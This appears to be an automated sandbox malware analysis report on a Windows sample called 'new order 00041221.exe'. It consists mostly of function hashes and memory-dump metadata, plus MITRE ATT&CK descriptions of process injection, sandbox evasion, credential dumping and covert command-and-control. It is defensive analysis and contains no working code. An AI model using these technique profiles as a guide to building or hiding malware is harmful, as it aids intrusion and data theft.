Opcode Fuzzy Hash: 03a9c75def3ae7953be29cf7e9c8234f786af2dd7ae5ff971de45751d5a48a78
Instruction Fuzzy Hash: 6552AD74E01229CFDB64DF69C984B9EBBB2BB89304F1085E9E409A7354DB319E85CF50

Function 05A30B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d34523f0838b2268d8797e707870f056aec688610afeabf0bef7effc0ad7c15b
Instruction ID: d55a699bc904b239c23e326c7b22d1121b65ded9fe983dc5bb65028032c9514c
Opcode Fuzzy Hash: d34523f0838b2268d8797e707870f056aec688610afeabf0bef7effc0ad7c15b
Instruction Fuzzy Hash: A472CE74E042288FDB64DF69C985BEDBBB2BB49304F1481E9E409A7355DB30AE81CF40

Function 0127F7F1 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3710367617.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1270000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2085979676164f555c96a99fb550afc19e0dbe3ba2eb72ec9ec786ba32faf5
Instruction ID: 3ed7d8a8a943dc4311a8c2a5e875ead4c864fd4c407c22efef903d9ae907ad1a
Opcode Fuzzy Hash: bf2085979676164f555c96a99fb550afc19e0dbe3ba2eb72ec9ec786ba32faf5
Instruction Fuzzy Hash: 29C1B474E00218CFDB14DFA5C954BADBBB2BF89304F2081A9D419AB355DB359E85CF50

Function 05A3F1C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a811fdc480e41db03121790cf3e076c96ba15796e1e82afa4fb48a4fe092b141
Instruction ID: e8c7ac6cff67901bc39e55ebdf23c76354755df12c74ad2c25469de1506eeed8
Opcode Fuzzy Hash: a811fdc480e41db03121790cf3e076c96ba15796e1e82afa4fb48a4fe092b141
Instruction Fuzzy Hash: BAC1A278E00218CFDB14DFA5C994BADBBB2BF89304F2081A9D419AB355DB359E85CF50

Function 05A3E918 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19ae8755e316630b671d8f3a48e622f1e9e2323eb13f2f03823d5687db7c756
Instruction ID: c347ffe1aaf14101e5bf6f9d2d4fc22edf8d638cb844fbf62499a7c76ef62581
Opcode Fuzzy Hash: c19ae8755e316630b671d8f3a48e622f1e9e2323eb13f2f03823d5687db7c756
Instruction Fuzzy Hash: C7C1B278E00218CFDB54DFA5C994BADBBB2BF89304F2081A9D419AB354DB359E85CF50

Function 05A32970 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda1ea47635e14b02284b447e784e968eaec3b86c78e672b5e4f355cf88756fe
Instruction ID: 3dfd51c935f4e7fc916f63f3915f8791dcfeb24d567fb0c02fad91da18983977
Opcode Fuzzy Hash: eda1ea47635e14b02284b447e784e968eaec3b86c78e672b5e4f355cf88756fe
Instruction Fuzzy Hash: 5FC1C278E00218CFDB24DFA5D954B9DBBB2BF88305F2081A9D819AB354DB355E85CF50

Function 05A3ED70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7e1b2bb516c80f4a7b3c514466ff775f4a566e5099ef327c3e4c3bdb9b171f
Instruction ID: 561f0009e6a577671944f3faba2a0cb9a61412d50de62805c7f60e7ada7a4393
Opcode Fuzzy Hash: 0a7e1b2bb516c80f4a7b3c514466ff775f4a566e5099ef327c3e4c3bdb9b171f
Instruction Fuzzy Hash: A8C1A278E00218CFDB14DFA5D954BADBBB2BF89304F2081A9D419AB354DB359E85CF50

Function 05A3E4C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94027cc53e8721c0e6acd2e99b9aa3a89804b825a21a6bafe94f429483f3e410
Instruction ID: 9ce560a738ae05b5f1bb2c0ac5ce30f7ceb816ec8a88868bcbe21d0ad1f9e6ea
Opcode Fuzzy Hash: 94027cc53e8721c0e6acd2e99b9aa3a89804b825a21a6bafe94f429483f3e410
Instruction Fuzzy Hash: 83C1B278E01218CFDB14DFA5C994BADBBB2BF89304F2081A9D419AB354DB359E85CF50

Function 05A3DC10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7100d0c621be6d4e048fb07a5e0efd234438c315a86f7ca46947e98e10459bc9
Instruction ID: a68525bdf116d34530fbba12fa765a6bffac2f54caf5cb0ef8500e7ac815a695
Opcode Fuzzy Hash: 7100d0c621be6d4e048fb07a5e0efd234438c315a86f7ca46947e98e10459bc9
Instruction Fuzzy Hash: C4C1B378E00218CFDB14DFA5C954BADBBB2BF89304F2081A9D419AB355DB359E85CF50

Function 05A3E068 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04db2e7ca7410a739569769581d7821ace878804b346077503dbac3b4256208b
Instruction ID: 22f4c67fe8b4136ecc7f0704c9c94355084eb034ae9b41436f81e13cdc49eb7a
Opcode Fuzzy Hash: 04db2e7ca7410a739569769581d7821ace878804b346077503dbac3b4256208b
Instruction Fuzzy Hash: 8FC1A278E00218CFDB14DFA5C994BADBBB2BF89304F2081A9D419AB355DB359E85CF50

Function 05A3D7B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d79bbbba0a0f59b1be43f88d2f1fff5823ebe7bf52a9ddf9c02e876adb7c2ed8
Instruction ID: fb7253bf77b5671bb7d09c1585c701e37988c6448ce84bd1a65dc5a0a5d7f5fb
Opcode Fuzzy Hash: d79bbbba0a0f59b1be43f88d2f1fff5823ebe7bf52a9ddf9c02e876adb7c2ed8
Instruction Fuzzy Hash: 5DC1B378E00218CFDB14DFA5D954BADBBB2BF89304F2081A9D419AB354DB359E85CF50

Function 05A3CF08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66274e466c396398f06858f3893c8c60bd2bacb2972489132f6f4595c64390b3
Instruction ID: 8deeb0d5831153cd40048c23233b607064bc637e144f5482ec4206fe15a9ecc0
Opcode Fuzzy Hash: 66274e466c396398f06858f3893c8c60bd2bacb2972489132f6f4595c64390b3
Instruction Fuzzy Hash: 9EC1A178E00218CFDB14DFA5C994BADBBB2BF89304F2081A9D419AB355DB359E85CF50

Function 05A3D360 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71fa76c250eb7aacd2e69e0905efd0c435ce806a35bb5d544ef88feccb07b750
Instruction ID: 0e49d2c18b5273e5e2ceba413ea4fd864ecea430a48ea17fa83fb93d9a79bb1b
Opcode Fuzzy Hash: 71fa76c250eb7aacd2e69e0905efd0c435ce806a35bb5d544ef88feccb07b750
Instruction Fuzzy Hash: 05C1B378E00218CFDB14DFA5C994BADBBB2BF89304F2081A9D419AB354DB359E85CF50

Function 05A3F620 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccd07f913c85438734120b2559d0ae995d408d17061b266f510563dd08c109fb
Instruction ID: 0c62e5601445ef7cef88ea940b419d69f8d50fe0469cab6f9a17731242513b43
Opcode Fuzzy Hash: ccd07f913c85438734120b2559d0ae995d408d17061b266f510563dd08c109fb
Instruction Fuzzy Hash: E0C1B278E00218CFDB14DFA5D994BADBBB2BF89304F2081A9D419AB354DB359E85CF50

Function 05A3FA78 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51b6c6d6075d563e37d80ce9e3ab46d020690e96c40f5b13dc72f0f9e2551df8
Instruction ID: 49066fd92bc5fefcc4d25fa1c8cd26c532074e67e51274f7d044942252d474d6
Opcode Fuzzy Hash: 51b6c6d6075d563e37d80ce9e3ab46d020690e96c40f5b13dc72f0f9e2551df8
Instruction Fuzzy Hash: D4C1B378E00218CFDB14DFA5C954BADBBB2BF89304F2081A9D419AB355DB359E85CF50

Function 05A32DC0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02fd121b3cfdaddb7543902b17584e5fc96f72f3f7f81ff4263e1b3ca1a07db5
Instruction ID: c9c1a285aed1c31a97370def8b7bd1ce27888dc31dbaf4d0f3e351a4c4673e6e
Opcode Fuzzy Hash: 02fd121b3cfdaddb7543902b17584e5fc96f72f3f7f81ff4263e1b3ca1a07db5
Instruction Fuzzy Hash: 70A11674D00208CFEB24DFA9C945B9DBBB1FF88304F20826AE409AB391DB759985CF55

Function 05A32DD0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51718158846c44f23518ffa4af0c0cc389660d82a431143a3175e88e9a3c0fe8
Instruction ID: 09691a59ba01c66d0aee0300fea5fedd9bbdcd7a58eed2cb26f8532ce9fe0eef
Opcode Fuzzy Hash: 51718158846c44f23518ffa4af0c0cc389660d82a431143a3175e88e9a3c0fe8
Instruction Fuzzy Hash: 36A11674D00208CFEB24DFA9C945B9DBBB1FF48304F20826AE419AB3A1DB759985CF55

Function 05A33116 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9714dc09755f7bcc09ac40b27c1b8b083be86d878109da6dd0ff77a9119101e1
Instruction ID: e99dbaeb9bc19471397b274f05c6f854432a19c0d0d555c4f8ac155cd838a6b7
Opcode Fuzzy Hash: 9714dc09755f7bcc09ac40b27c1b8b083be86d878109da6dd0ff77a9119101e1
Instruction Fuzzy Hash: 4B910374D04208CFEB10DFA9C989B9CBBF1FF49314F20826AE409AB291DB759985CF55

Function 05A30673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 764326fb22ebefc56483defedc796c88e68354084f581bde2a91b121e6266193
Instruction ID: 9ae2c262a52a8dfaba5f23f18d89a972d8697ea70b20570b3cf6839242d51159
Opcode Fuzzy Hash: 764326fb22ebefc56483defedc796c88e68354084f581bde2a91b121e6266193
Instruction Fuzzy Hash: FEA19B74E01228CFDB65DF24C894BAABBB2BF49301F5085EAE409A7350DB319E81CF51

Function 0127F150 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3710367617.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1270000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a8b224be3ad430718e818ae25c6952b3445d591767cdc32587c495be62050ec
Instruction ID: d9db00367e240e1dd1e765f386b642268d6ff13728ab2fae552b7d83f794eade
Opcode Fuzzy Hash: 5a8b224be3ad430718e818ae25c6952b3445d591767cdc32587c495be62050ec
Instruction Fuzzy Hash: 3D515674D15209CFEB04EFA9D6487EEBBB2FF89300F248229D410AB298D7759985CF54

Function 0127F33C Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3710367617.0000000001270000.00000040.00000800.00020000.00000000.sdmp, Offset: 01270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1270000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75db9733ead541970a93f5e9ffaa7beb5d6b36c444ec49290be7f7d095746ca2
Instruction ID: 293e080a813690fa59e8c3f43278ed240c0f9ef1bcd087caef5d4191571fab99
Opcode Fuzzy Hash: 75db9733ead541970a93f5e9ffaa7beb5d6b36c444ec49290be7f7d095746ca2
Instruction Fuzzy Hash: 02513634D29209CFDB10EFA8D6887EEBBB1FF49300F648219D425AB284D7759981CF54

Function 05A30853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3716159141.0000000005A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a30000_new order 00041221.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e293ba93b55e5769d5d0f9e8ed4f25e7b0498f303e637d119b008b32b6d7e922
Instruction ID: 2d3560c2edd61250be438678718e21d6e554877326236883a9c282835a15cca7
Opcode Fuzzy Hash: e293ba93b55e5769d5d0f9e8ed4f25e7b0498f303e637d119b008b32b6d7e922
Instruction Fuzzy Hash: A1519474A01229DFCB65DF24D854BA9BBB2FF49301F5085EAE40AA7354DB31AE81CF50

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report new order 00041221.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\new order 00041221.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
new order 00041221.exe

Function 04C82D49 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Function 04C82D58 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 04C873B1 Relevance: 1.8, APIs: 1, Instructions: 297
COMMON

Function 06B757D4 Relevance: 1.7, APIs: 1, Instructions: 248
processCOMMON

Function 06B757E0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 04C80A48 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Function 04C87510 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Function 00B564FC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 04C8704C Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Function 00B54CF8 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 06B75550 Relevance: 1.6, APIs: 1, Instructions: 73
injectionCOMMON

Function 06B75558 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 06B75641 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 06B753B9 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre